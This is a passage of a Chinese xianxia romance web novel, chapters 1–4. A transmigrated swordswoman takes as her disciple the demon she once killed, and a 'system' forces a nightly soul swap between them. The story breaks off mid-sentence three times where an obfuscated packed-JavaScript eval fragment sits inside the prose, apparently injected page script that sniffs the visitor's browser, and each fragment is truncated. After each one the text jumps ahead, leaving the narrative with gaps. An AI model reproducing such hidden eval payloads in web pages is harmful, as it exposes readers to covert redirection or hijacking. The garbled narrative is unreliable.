《拒绝攻略前任后换魂了》 1. 换魂第一 泉山毓秀,紫光萦绕,万灵宗立于云巅。 宗内今日格外热闹。 十余年一度的弟子招新,山下排起长队,蜿蜒如龙。 各峰长老都不肯放过这争抢好苗子的机会,你来我往,唇枪舌战,斗得比弟子们还厉害。 唯独后山那座青雪峰,安静得像座坟。 虞濯画躺在桃树下的躺椅上,拿话本盖着脸,呼吸均匀。 春日的阳光从花枝间漏下来,在她衣襟上落了一层细碎的光斑。风过时,花瓣纷纷扬扬洒了满身。 “小师祖!” 一道传音符撞进结界,噼里啪啦地响:“外门弟子选拔开始了,掌门请您过去观礼。” 虞濯画翻了个身,背对着传音符:“不去。” 她伸手一挥,符纸应声化作光点,消散在春风里。 还没等她把手收回来,又一道符撞进来,这次势头很猛,险些撞上她的后脑勺:“掌门说——” 她打断,头也不回地再次挥手:“说我死了。” 安静了不到三息。 “小师祖!!” 第三道符气势汹汹冲过来,整张符纸都闪着刺目的灵光。一看就灌了不少灵力,将她设下的结界打得摇摇欲坠。 “不好了!三长老和五长老争夺第一名弟子,已经快要打起来了!掌门劝不住,您快去看看吧!” 虞濯画叹了口气,慢吞吞坐起来。话本从身上滑落,掉进桃花堆里。 她实在不喜欢管万灵宗的事。可这三催四请的架势,不去一趟,掌门怕是要把传音符塞满青雪峰。 她理了理被压皱的衣袍,朝前山走去。 三长老与五长老这两个老东西,无论何事都要争一争,宗内众人早已见怪不怪。往年都争抢那些世家送来的天才,今年倒是稀奇,抢起外门弟子来了。 前山沸反盈天。 还没走近,就听见两个中气十足的声音在吵架。三长老脸红脖子粗,五长老也不遑多让,一旁的掌门满脸无奈。 周围围满了弟子,个个伸长脖子看热闹。 虞濯画连眼皮都没抬,随便找了个角落窝进去,打算等他们吵完就走。 反正两人也不会吵出结果,大抵又是和从前一样,隔着两座山生几日窝囊气,然后出门碰见了继续吵。 “虞濯画!” 三长老一甩袖子:“你来得正好。你说说,这么好的剑修苗子,不该入我门下吗?” “凭什么?”五长老立刻接话,“难道拜入我门下就不合适吗?” “你一个法修,和我抢剑修弟子?” “老夫当年也是剑法双修!” “当年当年,你如今连剑都提不动了吧?” 虞濯画困意未散,打了个哈欠 。 两位长老越吵越凶,最后齐刷刷看向她,要她评理。 虞濯画刚准备敷衍几句走人,就听三长老话锋一转:“说起来,你身为万灵宗师祖,百年来却什么事都没做,也该收个徒弟了。” 虞濯画脚步一顿。 “我看行。”五长老眼珠一转,竟难得附和,“这弟子虽是外门选拔,资质却不比内门差。你若收了他,我们也不用争了。” 虞濯画心说,还真让他们吵出结果了。 “不如二位就地切磋一番,谁赢,这弟子便归谁。” 两位长老相视一眼,纷纷别过脸去。 虞濯画勾了勾指尖,施了道术法,将他二人转成面对面。 “你们说好不好?”她嬉笑,又摇了摇头,“让我收徒,纯粹是误人子弟。” 掌门不知何时凑了过来,压低声音:“怎么会是误人子弟呢?虽说你整日在后山混吃等死,但好歹也曾是名震九州的剑道第一。” “谁说我混吃等死了?” 人群中不知是谁接了一嘴:“外面的人都这么说。” 围观的弟子闻声笑成一片。 虞濯画冲他们翻了个白眼。 她自是不会在意旁人怎么说,但这两个老东西你一言我一句,竟把她架得下不来台。 怪不得非让她来。 虞濯画只好抬头,朝那少年扫了一眼。 隔着人群,她只看见一个模糊轮廓。 “行。”她懒洋洋开口,“你过来,让我看看是何等天资惹得二位长老争抢。” 少年弟子走上前来,躬身行礼:“见过师祖。” 日光正盛,穿过重重人影,落在眼前人身上。 他生得极好,眉眼干净,身姿如松。周身气息清冷疏离,像山间初落的新雪,又像夜里独悬的凉月。 虞濯画瞳孔微微收缩,所有话都卡在喉咙里。 百年前,她亲手杀过一个人。 那个人,和眼前这少年,生得一模一样。 【叮——】 冰冷的机械音在她脑海深处响起。 【检测到任务目标:封弦玉。】 【攻略任务即将重启。】 【请宿主确认任务,继续完成。】 虞濯画僵在原地。 周围的声音仿佛被抽空。弟子们的窃窃私语,两位长老的催促,掌门的轻咳提醒,全都变得遥远而模糊。 她只盯着那张脸。绝不会认错的一张脸。 封弦玉。 她以为他死了,以为一切都结束了。 可为什么这人此刻活生生站在这里。 封弦玉也看着她,目光平静,不躲不闪,仿佛只是在等待她的答案。 无数念头在脑海中翻涌,虞濯画一一按下。 她垂眸,遮住眼中情绪。 三张老问:“怎么样?修为已破观心境,按律都可以直接入内门了。” 五长老也开口:“众多弟子见证,身为师祖莫要言而无信。” 虞濯画沉默片刻,忽然笑道:“好啊,我收了。” 周围响起一阵欢呼,都在说着:“恭喜师祖。” 可虞濯画高兴不起来。 封弦玉这个名字,是她取的。 在《降魔》中,他无名无姓,是上古魔族后裔,身负血魔血脉,神魂难灭。原剧情线里,男女主震碎自己的灵脉才将他杀死。 因此,为了给主角一个圆满结局,系统选中虞濯画来到这里。 或许因为她上辈子积福,穿书后竟然找到了杀死封弦玉的方法。 所以,长剑刺入心脉的那一刻,虞濯画确定,他就是死了。 这莫非是诈尸? 虞濯画不敢深思,心中乱作一团,也无法再继续思考,只能决定暂且不打草惊蛇。 掌门喊他:“常业,还不快来拜师。” 封弦玉不徐不疾,跪在虞濯画身前,行拜师之礼。 “弟子常业,拜见师尊。” 他垂着眼,姿态恭敬,无可挑剔。 虞濯画俯下身,凑近他的眼睛。 隔着咫尺的距离,她一字一顿:“业乃罪之因,这个名字可不好。” 只要他露出破绽。 封弦玉抬起眼。目光清润,不染尘埃。 “心为业之本,弟子日后定会守常行道,遵循门规,事事听从师尊吩咐。” 好可惜。 他的回答和表情都天衣无缝,丝毫没有异样。 “起来吧。”她直起身,“待名录入册,你自行来青雪峰寻我。” 封弦玉复行一礼,目送虞濯画走出人群。 虞濯画掐了个诀,一路跑回青雪峰。一直跑到桃林,她背靠着树干,慢慢滑坐下来。 桃花洋洋洒洒,落了满肩。 【请宿主确认任务,继续完成。】 虞濯画没有说话。 她以为这辈子都不会再见到那个人,没想到他就这样出现了。还成了她的徒弟?真是天大的荒唐。 如果不是系统忽然说话,虞濯画怕是都要忘了,自己穿进书里还有个任务,攻略封弦玉。 系统重复:【请宿主确认任务,继续完成。】 “我拒绝。” 半晌,系统才问:【宿主?】 它似乎不可置信,往日平静的声音出现了一丝困惑。 “我拒绝攻略封 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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虞濯画点头,手指在扶手上敲了敲:“进来坐吧。” 封弦玉依言走进来,在她对面的椅子上落座。坐姿端正,不卑不亢,是个标准的好徒弟模样。 虞濯画盯着他看了一会儿,忽然问:“你今年多大了?” “十九。” 十九。 封弦玉死的那年,就是十九岁。 “家在何处?” “没有家。”封弦玉答得平静,“弟子自幼孤身,四海为家。” 虞濯画挑眉:“那你怎么长这么大的?” “讨饭。”他弯了弯唇角,“有时候讨不到,就去捡旁人吃剩的。” 虞濯画手指一顿。 这倒是和当年不一样。 当年的封弦玉,虽然也身世凄苦,却从不提这些。她问他从前的事,他总是沉默,或者用别的话岔开。后来她就不问了。 现在这个封弦玉,倒是坦诚得很。 “做我的徒弟,不会有人为难你。但也要切记,不可行违反门规之事。”她刻意道,“尤其是,与邪魔歪道有关的。” “是,师尊。”封弦玉垂眼,“弟子谨记。” 虞濯画眨了眨眼睛:“我独住惯了,也教不了你什么。你如今亦算得上是内门弟子,便与他们一同住到落仙峰,好生修行即可。” 青雪峰很大,百年来只住着虞濯画一个人。山上的确有几间空房,但她实在不习惯身边忽然多个人。 再说了,她连这封弦玉是人是鬼都摸不清,谁知道他安的什么心? 封弦玉没说话,目光里有一瞬间的怔愣。 那目光太短暂,短到虞濯画几乎以为是自己的错觉。 好半晌,他才问:“师尊,是要赶我走吗?” 月光落在他低垂的眉眼上,投下一层的阴影。那阴影太重,似要把眸中残光吞噬。 2. 换魂第二 他静静看着虞濯画,竟然显得有些可怜。 虞濯画转念一想,虽说他目的不明,但如今也算得上是她名正言顺的亲传弟子。若是拜师第一天就让他拎包滚蛋,确实说不过去。 “我既答应收你为徒,自然没有赶你走的道理。”她说,“你初入万灵宗,也该先与门中弟子熟络熟络。” 话音落,她随手攥起封弦玉的衣袖,带着他往外走。 封弦玉垂眼,视线落在那只抓着他袖子的手上。月色下,那只手纤细白皙,指甲透着淡淡的粉。 他没说话,任由她拽着。 两道身影一前一后,穿过桃林,绕过曲折山道,往落仙峰的方向走去。 落仙峰是万灵宗内门弟子的居处,大大小小的院落依山而建,错落有致,到处灯火通明,星星点点。这个时辰,仍有弟子在月下舞剑,剑光如练,搅碎一池清辉。 两人一路走到管事处,敲开了门。 管事的弟子正在打瞌睡,被这突如其来的声响惊得差点从椅子上滑下去。他揉着眼睛,骂骂咧咧起身,开门一看是师祖,吓得差点跪下去:“师、师祖!您怎么来了?” 虞濯画将封弦玉往前一推:“新收的徒弟,给他安排个好点的院子。” 管事的弟子看了一眼封弦玉,又看了一眼虞濯画,连忙点头:“是是是!弟子这就安排!” 他殷勤地领着封弦玉往外走,边走边介绍落仙峰的布局。封弦玉跟在他身后,走到院门口时,忽然回头看了一眼。 他的目光很深,好似要把人刻进心底。 虞濯画靠在门框上打量四周,全然未注意到他的眼神。 直到封弦玉和管事弟子消失在夜色里,她才转身离开。 走了没多远,她忽然停下:“掌门莫不是看上了落仙峰的院子,也想挑一间?” 掌门温孤年从树后的阴影处走出来,捋了一把不存在的胡子,笑道:“看来和徒儿相处得不错。” 细想今日之事,虞濯画没好气道:“三长老和五长老平日再怎样相争,也断不会为一名弟子做到这般地步。想必此事,少不了掌门的推波助澜。” 眼见计谋被揭穿,温孤年只好坦言:“我确有此意。外头传言是真,你疏于宗务亦不假,一百年了,有些事也该放下了。” 他拽起虞濯画的手臂,探查灵脉:“你整日在静夜堂守着灵位,修为疏懈,灵力都要跌出观心境了。” 虞濯画抽回手,扬眉道:“如今天下九州皆安,仙门庞大,缺我一人又何妨?再说,难道收个徒弟,我的修为就能重回归天境?” 《降魔》之中,灵力分四重,凡尘,观心,自在,归天。 虞濯画从前鼎盛时期,修为已突破归天境。百年间过于懒散,灵力也退化不少。 “天下皆安?你还真是两耳不闻窗外事。沧澜地伏魔境内近日异动频发,方圆有不少城户发现了魔物痕迹。” 温孤年恨铁不成钢:“当年你诛杀封弦玉,普天皆知。眼下魔物动荡,不知有多少双眼睛盯着泉山,一旦掀起魔患,众仙门可都等着你去降魔。” 封弦玉一出现,沉寂百年的沧澜地就异动了。不会这么巧吧? 温孤年继续劝:“切莫任性,好生教导常业,以他的天赋,假以时日当成大器。” 虞濯画想到什么,忽然拍了拍他的肩膀,一言不发。 若他知道,常业就是封弦玉,估计会把此时此刻的自己抽死。 “你可明白了?” “啰里啰嗦。”她挥了挥手,“走了。” * 深夜。 虞濯画躺在床上,盯着帐顶发呆。 她睡不着。 闭上眼,封弦玉就会出现,站在她面前规规矩矩地叫她师尊。 虞濯画有些恍惚,若是放在她原来的世界里,他们二人的关系应该是叫前任。还是那种隔着生死大仇、恨不得对方立马去死的前任。 可眼下,他成了自己的徒弟。 虞濯画翻了个身,盯着窗外的月色出神。 他到底想干什么? 如果他记得百年前发生的事,那便是回来报仇的。可若是报仇,他有一百种方法可以接近她,何必这么大费周章,先混入万灵宗,再拜她为师。 不是报仇,那又是什么? 莫非这人脑子坏了,完全不记得百年前发生的事,纯粹想来万灵宗修仙? 还有,系统的惩罚是什么? 她又翻了个身,把脸埋进枕头里。 沧澜地之事,会和封弦玉有关吗? 罢了,想也没用。 船到桥头自然直,大不了就是一死。 她迷迷糊糊地想着,沉沉入梦。 春夜料峭,山中幽凉。深夜里,风从敞开的窗棂灌进来,带着丝丝凉意。 虞濯画半醒不醒间伸手去扯锦衾,却摸了个空。 她察觉到什么,缓缓睁眼。 月光从窗外照进来,落在帐顶,落在地上,落在她面前的一双手上。 那双手白皙修长,骨节分明。 但那不是她的手。 虞濯画猛地坐起来,低头看向自己的身体。 她穿着一件陌生的衣袍,青白色的,是万灵宗内门弟子的款式。 她揉了揉眼睛,有些不信邪的又看了眼双手。 那手依旧不是她的。 虞濯画愣了一瞬,迅速翻身下床,跌跌撞撞地扑向铜镜。 屋中灯火燃起,镜子里映出一张脸。 眉眼干净,如月下新雪。 是封弦玉的脸。 然后她听见自己的脑海里,响起一个冰冷的机械音: 【叮——惩罚生效。】 【宿主与任务目标已绑定换魂术。】 【每日子时身魂互换,持续至辰时。】 【祝宿主度过愉快的惩罚期。】 虞濯画:??? 她咬牙切齿:“系统,你他妈是不是有病?” 系统不理她了。 虞濯画坐回床上,自我安慰:“不过是一个术法,待明日想办法解开就行。” 这么一想,她的心里才稍微舒坦了些。 封弦玉的房间被收拾得很整齐,与其他内门弟子的住处比起来,要更为敞亮。 屋里陈设简洁到几乎寡淡,他自己的东西很少,只有几件干净的换洗衣裳叠放在衣箱里。 桌案上摆放着砚台与墨汁,却不见纸张,也不知这人睡前在写什么。 虞濯画抚上肩膀,这是封弦玉的身体。 她又坐回铜镜前,将左肩的衣裳往下拽了些,露出大片白皙的肌肤。 再往下,心口处肌理紧致细腻,线条利落。淡青色血脉浅浅伏在皮下,随着呼吸微微起伏。 “怎么会这样?” 她的本命剑拂生并非凡品,留下的剑伤将伴随一生,无法消除,除非死亡。 曾经,她的剑就是从这里刺入。 可封弦玉身上没有剑痕。 所以,他确实死过。 系统能确认他的身份,却无从得知他是否有百年前的记忆。 若是有,那虞濯画估摸着自己活不了多久了。 若没有,也终会有想起来的一日,如此算来,她还是活不了多久。 虞濯画决定日后先试探一番,再做打算。 房门忽然被人推开:“常师弟,我看你房中灯亮着,你……” 虞濯画尚未将衣领拉好,就与来人视线相撞。 进来的男子约莫二十岁出头,身形稍胖,怀里抱着枕头和薄被。 虞濯画见过他,是三长老门下弟子,卢峥。 两人大眼瞪小眼愣了片刻,虞濯画才不紧不慢地把衣裳穿好:“你怎么来了?” 卢峥并未起疑,打着哈欠往里走:“我与穆师弟同住,可他的呼噜声实在太大了。” 说着便熟练地将枕头丢上封弦玉的床,开始铺被。 “等等,”虞濯画打断他,“我……我有洁癖,不喜与人同睡。” 卢峥摆摆手:“常师弟,切莫说笑。晚间你不是才应过我吗?说可以让我随便睡。” 他欺身上榻,躺在里端。不忘拍了拍旁边的空处:“夜已深,常师弟也快睡吧。” 虞濯画正要开口,却见卢峥已沉沉睡去,呼噜声骤起。 见他这副熟睡自如的模样,虞濯画不由得好奇,他这样睡过多少人的床。 幸好封弦玉的住处宽敞,还有间偏房凑合能住。 虞濯画披上外衣,推门而出。 已过子时,泉山静谧,只有山顶那口灵钟亮着微光。 灵钟后,便是青雪峰。 虞濯画看了一眼,在心里暗暗骂了系统几句,进了偏房。 不对。她脚步顿住。 换魂术让她与封弦玉身魂互换,也就是说,此时此刻,封弦玉在她的身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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封弦玉微微颔首:“穆师兄。” “走走走,吃饭去。” 封弦玉侧眸望了一眼青雪峰的方向,终是随他二人走了。 虞濯画一觉睡到日上三竿。 昨夜她虽歇在偏房,奈何卢峥的呼噜声两堵墙都挡不住,昏昏沉沉熬到天亮,换回身体后才熟睡。 她一睁眼便呼唤系统:“能不能解了这换魂术?” 【抱歉,宿主。】 她又问:“那什么时候惩罚能结束?” 系统再次沉寂。 虞濯画深吸一口气,决定去藏书阁查找换魂术的解决之法。 万灵宗的藏书阁在九州是出了名的,天底下所有名书都收录在内。新入门的弟子中,大多数人都想来开开眼界。 虞濯画赶到静心峰时,藏书阁外已经排起了队。 藏书阁管事的林长老忙的焦头烂额,一边登记借阅名册,一边盯着那些毛头小子,生怕他们将书籍损毁。 “林长老,我能先进去吗?” 排队的弟子们见了虞濯画,纷纷让开一条路。 林长老也笑着迎上前:“小师祖,你要找什么书?” “我自行寻找便可,不打扰你们做事。” “言重了言重了。只是今日藏书阁中弟子众多,难免有些凌乱,小师祖说个书名,我好速速拿给你。” 虞濯画沉吟片刻,道:“可有记载换魂术的书卷?” 林长老抬手一招,一卷书册落于案上:“这本便是。” 虞濯画翻开书页,确实找到了换魂术的记载,但书页末端六个大字给了她当头一棒。 “唯施法者可解”。 系统:【宿主,换魂术只有我能解除。】 【接受任务,攻略封弦玉,即可结束惩罚。】 非要攻略封弦玉吗? 虞濯画犹豫了许久,终于颤颤巍巍的让系统调出了攻略面板。 定睛一看,好感度负一百零一。 上一次卡在九十九,杀他一次,竟然倒扣二百好感度! 【宿主是否继续攻略任务?】 3. 换魂第三 虞濯画遇见封弦玉时,并没有想过杀他,而是想救他,帮他改变结局。 看着攻略数值一天天上涨,虞濯画以为自己真能感化这世间极恶。 可她错了。 封弦玉生来身负罪业,注定要历经世间苦楚,最终恶念孵化,觉醒为魔。 她引狼入室,害死了师父,害死了同门。 整个泉山,上千名弟子,只她一人活了下来。 虞濯画那时便明白,命运天定四个字,是终其一生都无法摆脱的。 …… 犹豫了一路,回过神时,虞濯画已站在了落仙峰的莲池边。 系统追问:【宿主是否继续任务?】 “我不会攻略他。” 【这是宿主第三次拒绝任务,为什么?】 虞濯画反问它:“你没听过农夫与蛇的故事吗?” 她不敢赌。 万一封弦玉记得从前发生的事,万一他魔性未改,决定报仇,万一他恨她入骨。 她若再捧着一颗真心去攻略他,信任他,一旦试错,又会有多少人枉死。 “封弦玉如今已拜我为师,我会盯着他,无论他有何目的,我都会全力阻止。但我不想与他产生任何情感羁绊。” 她垂眸望着池中水影,声音轻得像在自语:“若他做了错事,我会亲手杀他第二次。” 【我尊重宿主的选择,将不会再询问。】 虞濯画轻嗤一声,挥散了心底那点阴翳。池面清如镜,映出少女眉眼弯弯的模样:“水来土掩,一切都会迎刃而解的。” “师尊。” 一道清沉的嗓音自身后响起。 日光洒在莲池边,将他的影子投到她身侧,修长而安静。 虞濯画心下一惊,这人走路怎么没声? 她眨眨眼睛,长睫扇动,随口道:“我正要去寻你。” 说罢便沿着池边坐下,双脚悬空,紫色裙摆轻触水面,荡出层层涟漪。 封弦玉随她坐下,将手中食盒递过去:“昨日拜师匆匆,礼数并不周到。听闻师尊爱吃桃花糯,这是我亲手做的。” “你还会做饭?” 虞濯画有些意外,她印象中的封弦玉几乎不懂人间烟火。 “嗯,略懂一些。”他声音淡淡的,“从前流落乡野,能生火煮饭便是奢望。” 虞濯画拈起一块放入口中。淡淡的桃花香气在唇齿间化开,甜而不腻,意外地好吃。 思量片刻,她道:“不错,那我收下了。” 封弦玉眼尾轻扬,难得露出这般神情。 “昨夜之事,可还有印象?” “是换魂术,约子时开始,辰时结束。” 虞濯画叹气:“我去藏书阁查过了,此术只有施法者可解。所以,在我找到下术者之前,就先委屈你了。” “师尊,有交恶之人?” 虞濯画看他一眼,心道这不就在眼前。 “或许吧。我自留泉山百年,前尘尽忘,早记不清了。” 她面上不动声色:“能下这种术法的,无非是起了捉弄的心思,不必挂怀。” 封弦玉垂下眼,盯着池中游鱼。 原来百年,可以放下这么多事。 虞濯画站起身:“换魂之事不可同外人提起,夜间也需注意言行,别让人看出端倪。” 春日风起,卷起山间清冽的气息。 她今日穿了件阔袖衣裙,风过时,轻薄的袖纱拂起,擦过封弦玉的面颊,又与他扬起的墨发纠缠在一处。 桃花香气扑面而来。 封弦玉偏过脸去,撑在岸边的手指因用力而微微泛白,一时竟忘了起身。 虞濯画浑然未觉。她拎起食盒,自顾自道:“掌门也爱吃甜的,我去让他尝尝。” 话音落,身后人依旧静默。 虞濯画甩了甩袖子,悠悠下了山。 池中莲叶轻摆,两条红鲤争相跃起,又落入水中,惊起细碎声响。 封弦玉徐徐起身,目送那道紫色身影消失在石阶尽头。 他神情黯淡,不知在想什么。 “常师弟,小师祖都走了,你怎么不送送?” 穆天赐趴在窗台上,探着脑袋望他。 卢峥一把将他拽下来,朝封弦玉挤出个笑:“师弟,我们不是故意偷看你和小师祖说话的。” 封弦玉问:“听到什么了?” “我们还想问你呢,”卢峥如实道,“小师祖跟你说什么了?” “没什么。” 他转身朝院中走去,留下卢峥和穆天赐面面相觑。 “我怎么觉得常师弟有点不对劲?”穆天赐挠头。 “不对劲什么不对劲,”卢峥一巴掌拍在他后脑勺上,“人家和小师祖说话,关你什么事?” “不是你先问的吗?” “分明是你先偷看的。” * 前山,明正殿。 殿门紧闭,长阶旁也没有弟子看守。 虞濯画刚抬起脚要上殿前台阶,就听系统说: 【宿主拒绝攻略封弦玉,为什么要撩拨他?】 虞濯画收回脚,莫名道:“我撩拨他?吃他做的桃花糯就是撩拨?” 系统:【。】 虞濯画快步爬上明正殿,打算赶紧将这烫手山芋送给温孤年。 推开殿门,争吵声迎面撞来。 “你这不明摆着让孩子们去送死吗?那伏魔境中关着的都是些什么东西,你怎么不自己去?” “我说我不去了吗?你讲不讲理!知难而退,他们还怎么提升修为?” “其余仙门已经先后派遣门中弟子去往沧澜地,我们怎可畏缩不前、居人之后?” “你只看见他们竖着进去,闭口不提他们横着出来!” 难怪门口无人看守。 温孤年端坐主位,一个头两个大。瞥见虞濯画时,眼底如见救星:“濯画来了。” 几位长老这才止住唇枪舌战。 虞濯画将食盒搁在温孤年面前的桌案上,拉开椅子落座。 “继续说啊,我还没听够。” 三长老司贯林拍桌:“别说异动,即便是魔物将沧澜地的天捅穿了,也该是你们这帮老东西去,哪里轮得到小辈们?” 五长老崔弗不依不饶:“真塌了天,拿十个百个你祭阵都不够!” 司法堂长老方敬元摇了摇头:“若是从前,万灵宗必是最先赶赴沧澜地的。可如今,事事被紫华宗压一头。依我看,这四宗之位还是尽早退出去罢。” 虞濯画轻笑出声:“方长老何必长他人志气?沧澜地异动已有段时日,九州仙门皆按兵不动。紫华宗抢先一步前去探查,死伤惨重,可见伏魔境内出了厉害东西。” 她眼尾微挑:“这就是他们传给天下的消息。方长老这般心急,不如你代表万灵宗再深入探究一番?” 方敬元冷哼一声:“虞濯画,我们敬你是因为你师父!别忘了,百年前泉山覆灭,可是你一手造成的!” 温孤年皱眉:“方长老,百年前——” “你在怕什么?” 虞濯画打断他,抬眼看向方敬元。 那一眼极淡,淡得几乎没有情绪。可方敬元却莫名觉得背脊发凉。 “我有什么怕的?”他梗着脖子,“我不过是替死去的同门们惋惜。” “你怕死,怕百年前祸事重临,怕你自己会步他们后尘。” 虞濯画往后一仰,身下的椅子瞬间滑出丈余。殿内十余人齐齐向她望去。 “传我令。”她声线清淡,却清晰落进每个人耳中,“方长老除魔心切,自愿前往沧澜地,协助紫华宗镇压邪魔。另,各峰弟子皆可自愿随行。” 方敬元猛地起身:“虞濯画,你——” 一股威压骤然从头顶压下,硬生生将他逼回座上。 虞濯画抬眸,殿顶上方,一枚金色令牌正隐隐发光。 司贯林啧声连连:“自讨苦吃,竟气得大长老出手。” 虞濯画伸手接住令牌,侧眸看向温孤年:“掌门意下如何?” 温孤年笑得一脸欣慰:“小师祖之令,全宗上下自当遵从。” 方敬元之事尘埃落定。明正殿殿门一开,众长老纷纷离去。 “方敬元这是何必?” “虽说那魔头封弦玉是她带入门的,但她已将其诛之,又一手重建万灵宗,桩桩件件有目皆知。” “虞濯画曾自请离开泉山,是大长老劝她留下,以师祖之位高居。方敬元此番言论不就是在折损大长老的颜面。” “要我说,他就是咎由自取,成日拉帮结派仇视小师祖,活该。” …… 大殿之上,只剩虞濯画与温孤年二人。 “我早说这掌门该你来当,我哪会处理这些事。”温孤年叹气。 “这烂摊子我可不接。师侄,你多练练。” 温孤年年纪足以做她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她将符纸放回原位。 正要回去休息,夜空中骤然炸开一声巨响。地动山摇,屋中所有物件都在晃动。 灵钟被敲响。万灵宗内,所有人同时收到一道传音—— “山门结界被破,各峰弟子,速速戒备。” 虞濯画踏出院门。 夜色里,卢峥与穆天赐已提剑而出。 刚要开口,几团黑雾便嘶吼着冲进院子。 他二人拔剑抵挡,不忘提醒:“常师弟,你的剑呢?” 虞濯画蹙眉,一动不动。 她百年前亲手封了本命灵剑,剑心已无,哪敢再用剑。 黑雾嘶鸣着朝她扑来。 虞濯画足尖轻点,三步并作两步掠上屋檐,翻身旋起,险险避过魔物一击。 她伸手召唤玄玉,却是半点反应也没有。 “系统,怎么回事?” 【玄玉笛是宿主的法器,封弦玉体内自然召唤不出来。】 越来越多的黑雾聚拢而来。卢峥与穆天赐被缠得分身乏术,无暇顾及她这边。 虞濯画脚腕一痛,一团黑雾咬了上来。 她掌心聚灵,朝它拍去。 下一瞬,那黑雾发出一声凄厉嘶叫,化作飞灰。 她低头看向自己的掌心,顿时想死的心都有了。 穆天赐刚捏碎一团黑雾,下意识朝房顶望去。然后他便看见自家小师弟指尖那抹流转的灵力。 “你怎么有净火!” 他惊得嗓子都破了音。 整个修真界谁人不知,这专克魔物的净火是烟水游家的宝物。虞濯画的师父出身游氏,曾耗毕生修为才将净火传授与她。 可常业怎么会有净火? 炼成净火,除非游家之人亲囊相传,或者,与拥有净火者双修。 难不成…… 虞濯画抬手拍灭再次缠上来的两团黑雾,一扭头便对上他那副眼神。 看着穆天赐一脸“你不用说我都懂”的表情,她当即道:“不是你想的那样!” 4. 换魂第四 虞濯画从屋檐上跃下。 落地的瞬间,双掌齐出,金色火焰在身前炸开一道弧形屏障。 三团黑雾撞上来,如同飞蛾扑火,顷刻便被净火吞噬,连惨叫都来不及发出。 “系统,”她在心里喊,“这怎么回事?” 身在封弦玉体内无法召唤法器,却能动用净火? 系统解释:【换魂期间,宿主与封弦玉灵力互通。】 “你怎么不早说?” 【宿主没问。】 虞濯画气得想骂人,却没时间了。 更多的黑雾从四面八方涌来,整座院子转眼便被魔气吞没。 “这到底是什么东西?怎么这么多!” 卢峥和穆天赐被逼到墙角,背靠背挥剑抵挡,却仍节节败退。 “黑翳,由魔气炼化怨念而形成。”虞濯画淡声提醒,“别将它们打散,一旦散开便会分裂出更多。” 寻常黑翳虽难缠,却极惧灵火。即便不是净火,普通火符也能降服。 可今夜出现在泉山的这些,却与往常不同。 穆天赐与卢峥试过用火符驱散,它们丝毫不怕。 虞濯画双手结印,十指翻飞如蝶舞。金色的火焰从她指尖倾泻而出。眨眼间,数道火焰如游龙窜出,精准命中周遭黑翳。 “嗤嗤嗤嗤——” 那声音像是油锅里溅进了冷水。黑雾同时发出凄厉的嘶鸣,在金色火焰中扭曲挣扎。 虞濯画抬眼看去。 这是封弦玉的眼睛,清冷沉静如寒潭,此刻被金色火光映照,竟显出几分妖冶的美感。 连绵不绝的嗤响声中,最后几团黑雾终于湮灭,消散在夜风里。 院子恢复了安静。 卢峥循声望来,眼睛瞪得溜圆:“师弟,你不必多言,我们不会对别人说的。” 二人颇为默契地做了个封口的手势。 虞濯画一脸无奈。 她抬手掐诀,将净火附着在他们的剑上,叮嘱道:“先将净火传下去,助其余同门除魔。若有人问起,便说是师祖吩咐。” 卢峥点头:“放心吧。” 穆天赐惊叹一声,握剑舞了几势,忍不住自夸:“我真厉害。” 虞濯画盯着空中净火的痕迹,一时不知该不该信他二人。 卢峥扬手便是一掌:“都什么时候了?还不快走。” 虞濯画垂眸,掐了掐指尖,转身没入夜色中。 泉山结界是她与几位长老所布,灵力相系。若是有人从外攻破,他们定会在第一时间内察觉。 但今夜,黑翳出现得无声无息。 这只能说明万灵宗中出了叛徒,结界是被人从内打开的。 虞濯画站在灵钟前,负责守钟的两名弟子已倒在地上。她并指探查,发现他们只是魔气入体,晕死过去。 向下望去,整座泉山皆被黑雾笼罩,陷入死气。 便在这时,一道金色火焰自落仙峰而起,断断续续延伸传递,几息间便已覆满整座山峰。 那火光在黑雾中时隐时现,却从未中断。 虞濯画弯唇。 “师尊。” 她身子一僵,一种异样的感觉浮上心头。 封弦玉撑着一盏灵灯,沿着山道走上来。 听着自己的声音,看着自己的身体。 两人都怔了一瞬。 虞濯画掩下这种怪异的感觉,揉了揉眉心:“现在有一个好消息,一个坏消息,你想听哪个?” 封弦玉将手中的灯递向她:“只有好消息。” 虞濯画这才看清,那灯中燃起的火焰是净火。 她叹了口气:“我怎么把你忘了。” 黑翳数目众多,即便多数弟子的剑上都被染上净火,却也是寡不敌众。唯一的办法,只有将灵力注入钟里,以音杀之。 但这种方法对灵力消耗极大。此刻她在封弦玉身体里,便是将他体内灵力榨干也不够。 系统说,换魂期间他二人灵力相通,都可以使用净火。封弦玉体内灵力不够,但加上她的,绰绰有余。 “好徒儿,为师便教教你这净火的威力。” 虞濯画掌腕翻转,将净火灵力推入钟中。封弦玉学着她的样子结印。 灵力灌入,钟声响起。 第一声,嗡鸣化作穿透天地的长啸。金色音波从山巅荡开,如涟漪般扩散,连空气都被燃烧着。 那层笼罩泉山许久的黑翳,在钟鸣声中,像是脆弱的薄纸,从中间撕开一道巨大的裂口。灵光从裂口中倾泻而下,照亮了整座泉山。 第二声,音波凝起,携净火所过之处,黑翳瞬间灰飞烟灭。 从山巅到山脚,从桃林到殿宇,金光所至,黑暗尽褪。 第三声,钟鸣如龙吟九霄,净火从山巅冲天而起,直贯云上。 整座泉山都在震颤。 